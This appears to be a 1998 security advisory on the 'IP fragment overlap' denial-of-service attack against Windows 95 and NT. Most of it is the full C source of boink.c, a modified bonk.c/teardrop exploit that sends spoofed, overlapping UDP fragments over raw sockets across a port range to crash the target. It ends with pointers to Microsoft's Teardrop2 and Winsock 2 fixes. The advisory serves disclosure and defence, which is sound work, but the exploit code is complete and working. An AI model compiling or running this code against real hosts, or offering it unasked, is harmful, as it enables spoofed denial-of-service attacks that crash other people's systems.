COMMAND
IP fragment overlap
SYSTEMS AFFECTED
Win95, Win NT
PROBLEM
It seems that that teardrop is going to have big number of its
children. Another one comes, this time as modification of bonk.c
(IP fragment overlap #2). This one was posted to rootshell.com.
As it stood before, bonk.c just simply attacked port 55. Port 55
isn't always open. As of this modification, you provide both a
"start" and a "stop" port to test for the weakness, in the
attempt to catch a possibly open port. Evan L. Carew posted me a
"fixed" version of the modified boink.c source so it will compile
on Linux 2.0.32 and later kernels with gcc version 2.7.2.3 (and
possiblly earlier versions of both gcc and Linux). I replaced
old code. The problems with the code were an out of date IP
protocol macro, and an include file that doesn't exist on Linux
today (it may have in the past). As Even said, "this code is
not intended to be used to destroy NT or WIN95 boxes, but rather
to test your systems".
/*
boink.c - a modified bonk.c
ipfrag4.html
==bendi - 1998==
bonk.c - 5/01/1998
Based On: teardrop.c by route|daemon9 & klepto
Crashes *patched* win95/(NT?) machines.
Modified by defile(efnet) [9/01/98]
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
/* #include <netinet/protocols.h> */
#include <arpa/inet.h>
#define FRG_CONST 0x3
#define PADDING 0x1c
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;
int udplen=sizeof(struct udphdr),
iplen=sizeof(struct iphdr),
datalen=100,
psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
spf_sck; /* Socket */
void usage(void)
{
/* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */
fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> [num]\n");
exit(0);
}
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}
int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt)
{
int bs;
struct sockaddr_in to;
memset(&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IPPROTO_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons(0x2000); /* more to come */
pkt.udp.source = htons(src_prt); /* udp header */
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);
/* send 1st frag */
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */
pkt.ip.tot_len = htons(iplen + FRG_CONST);
/* 2nd frag */
bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
(struct sockaddr *) &to, sizeof(struct sockaddr));
return bs;
}
void main(int argc, char *argv[])
{
u_long src_addr,
dst_addr;
int i,
/* src_prt = 55,
dst_prt = 55, */
start_port,
stop_port,
bs = 1,
pkt_count;
if (argc < 5)
usage();
start_port = (u_short) atoi (argv[ 3 ]);
stop_port = (u_short) atoi (argv[ 4 ]);
if (argc == 6)
pkt_count = atoi (argv[ 5 ]);
if (start_port >= stop_port ||
stop_port <= start_port) {
start_port = 25;
stop_port = 65;
}
if (pkt_count == 0) pkt_count = 10;
/* Resolve hostnames */
src_addr = host_to_ip(argv[1]);
if (!src_addr)
quit("bad source host");
dst_addr = host_to_ip(argv[2]);
if (!dst_addr)
quit("bad target host");
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");
for (i = 0; i < pkt_count; ++i)
{
int j;
printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);
for (j = start_port; j != stop_port; j++) {
/* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */
fondle (spf_sck, src_addr, dst_addr, j, j);
}
usleep(10000);
}
printf("Done.\n");
}
SOLUTION
The Teardrop2-fix has now been posted for NT 3,5 and 4.0 i386 and
Alpha platforms, postSP3 only. For links check the:
http://www.ntbugtraq.com/ntfixes.asp
page with the Language set to USA, version to NT40, processor as
required, SP version to SP3 then click the "New" radio button.
You may try standard MS location as well:
ftp://ftp.microsoft.com
/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/teardrop2-fix/
/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/
Windows 95 without Winsock installed is not vulnerable. All other
versions of Windows 95 should update to Winsock 2. Microsoft has
released an update called the "Winsock 2 update" for Windows 95.
According to Microsoft, this update contains fixes for all known
vulnerabilities in the Windows 95 TCP/IP stack. Get it at:
www.microsoft.com/windows95/info/ws2.htm
Windows 98 RC0 (release candidate 0) contains all known TCP/IP
updates, and is not vulnerable to this attack.